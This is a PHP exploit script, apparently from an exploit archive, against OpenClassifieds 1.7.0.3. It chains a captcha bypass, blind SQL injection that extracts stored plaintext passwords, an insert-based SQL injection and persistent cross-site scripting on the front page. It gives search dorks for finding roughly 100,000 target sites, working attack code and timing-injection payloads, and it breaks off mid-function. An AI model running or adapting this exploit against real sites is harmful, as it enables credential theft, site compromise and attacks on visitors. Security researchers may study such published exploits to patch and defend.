Author:Michael Brooks (Rook)
Application:OpenClassifieds 1.7.0.3
download: http://open-classifieds.com/download/
Exploit chain:captcha bypass->sqli(insert)->persistant xss on front page
If registration is required an extra link in the chain is added:
Exploit chain:blind sqli(select)->captcha bypass->sqli(insert)->persistant xss on front page
sites with SEO url's enabled:
"powerd by Open Classifieds" inurl:"publish-a-new-ad.htm" (85,000 results)
or default urls:
"powerd by Open Classifieds" inurl:"item-new.php" (16,500 results)
Total sites: ~100,000


The target must be a link to the document root of OpenClassifieds
(If the exploit doesn't immediately reload then blind sqli is required, which will take a few minutes ;)
Target:  
Payload:

"select substring('abc' from 1 for 1)" if(greatest(".sprintf($question,$cur).",".$pos.")!=".$pos.",sleep(".$this->timeout."),0)" =>"case ".sprintf($question,"0+".$cur).">".$pos." when true then sleep(".$this->timeout.") end" CWE Violations leveraged by this exploit: CWE-256: Plaintext Storage of a Password CWE-804: Guessable CAPTCHA (I asked that they create this CWE when I ran into a guy that works for Mitre.) CWE-89: SQL Injection x2 CWE-79: Cross-site Scripting (Persistant) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Vulnerable captcha: openclassifieds/includes/common.php line 291 function encode_str ($input){//converts the input into Ascii HTML, to ofuscate a bit for ($i = 0; $i < strlen($input); $i++) { $output .= "&#".ord($input[$i]).';'; } //$output = htmlspecialchars($output);//uncomment to escape sepecial chars return $output; } ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- function mathCaptcha(){//generates a captcha for the form $first_number=mt_rand(1, 94);//first operation number $second_number=mt_rand(1, 5);//second operation number $_SESSION["mathCaptcha"]=($first_number+$second_number);//operation result $operation=" ".encode_str($first_number ." + ". $second_number)."?";//operation codifieds echo _("How much is")." ".$operation; } ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Vulnerable persistant xss and sqli /content/item-new.php line 41 $ocdb->insert(TABLE_PREFIX."posts (idCategory,type,title,description,price,idLocation,place,name,email,phone,password,ip,hasImages)","". cP("category").",".cP("type").",'$title','$desc',$price,$location,'".cP("place")."','".cP("name")."','$email','".cP("phone")."','$post_password','$client_ip',$hasImages"); ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- */ set_time_limit(0); error_reporting(0); function main(){ if($_REQUEST['target'] && $_REQUEST['xss']){ if(xssFrontPage($_REQUEST['target'],$_REQUEST['xss'])){ print("Persistant XSS attack was sucessful."); }else{ print("Persistant XSS attack has failed."); } } } //w00t, I can crack your captcha with 4 lines of code! //It would have been 3 if i had used eval(), but that would be a vulnerability ;) function breakCaptcha($page){ preg_match("/\(.*)\<\/b\>\?/",$page,$match); $code=html_entity_decode($match[1]); $math=new EvalMath(); return $math->evaluate($code); } function xssFrontPage($url,$xss){ $h=new http_client(); $page=$h->send($url."/content/item-new.php"); #Authentication required. if(strstr($page,'Location: http')){#Do we need authentication? print "Blind SQL Injection required.
"; $sex=new openclassifieds_blind_sql_injection($url."/"); if($sex->test_target()){ print "Target is vulnerable to attack!
"; $pass=$sex->find_string("password"); print "Found Password:$pass
"; $email=$sex->find_string("email"); print "Found email:$email
"; $h->postdata="email=$email&password=$pass&submit=loading..."; $h->send($url."/content/account/login.php"); $h->postdata=''; $page=$h->send($url."/"); }else{ die("This target is not exploitable!
"); } }else{ $email="test@test.com"; } $code=breakCaptcha($page); $payload=blind_sql_injection::charEncode($xss); $pwd=mt_rand(1,9999999);//Strong password :p $fake_phone=mt_rand(1111111111,9999999999); $fake_email=blind_sql_injection::charEncode(mt_rand()."@".mt_rand().".com"); $fake_ip=blind_sql_injection::charEncode(mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254).".".mt_rand(20,254)); //Stored xss in the description,place and name columns. $inj="36,".mt_rand(1,20).",".$payload.",".mt_rand().",".mt_rand(2,500).",".mt_rand(1,10).",".mt_rand().",".mt_rand().",".$fake_email.",".$fake_phone.",".$pwd.",".$fake_ip.",0)#"; $h->postdata="category=".$inj."&type=0&place=home&title=title&price=1&description=desc&name=name&email=".$email."&math=".$code; $h->send($url."/content/item-new.php"); $h->postdata=''; //I could use sql injection to find the id, but thats noisy and slow. $rss=$h->send($url."/content/feed-rss.php"); //seo friendly if(preg_match("/\-(.*)\.htm\<\/link\>/",$rss,$match)){ $guess=$match[1]; }else if(preg_match("/item\=(.*)\&type/",$rss,$match)){ $guess=$match[1]; }else{ $guess=0; } $guess++; $page=''; $test=false; #Now lets activate the XSS post. for($x=$guess;$x-$guess<=128&&!$test;$x++){ $page=$h->send($url."/content/item-manage.php?pwd=".$pwd."&post=".$x."&action=confirm"); $test=strstr($page,"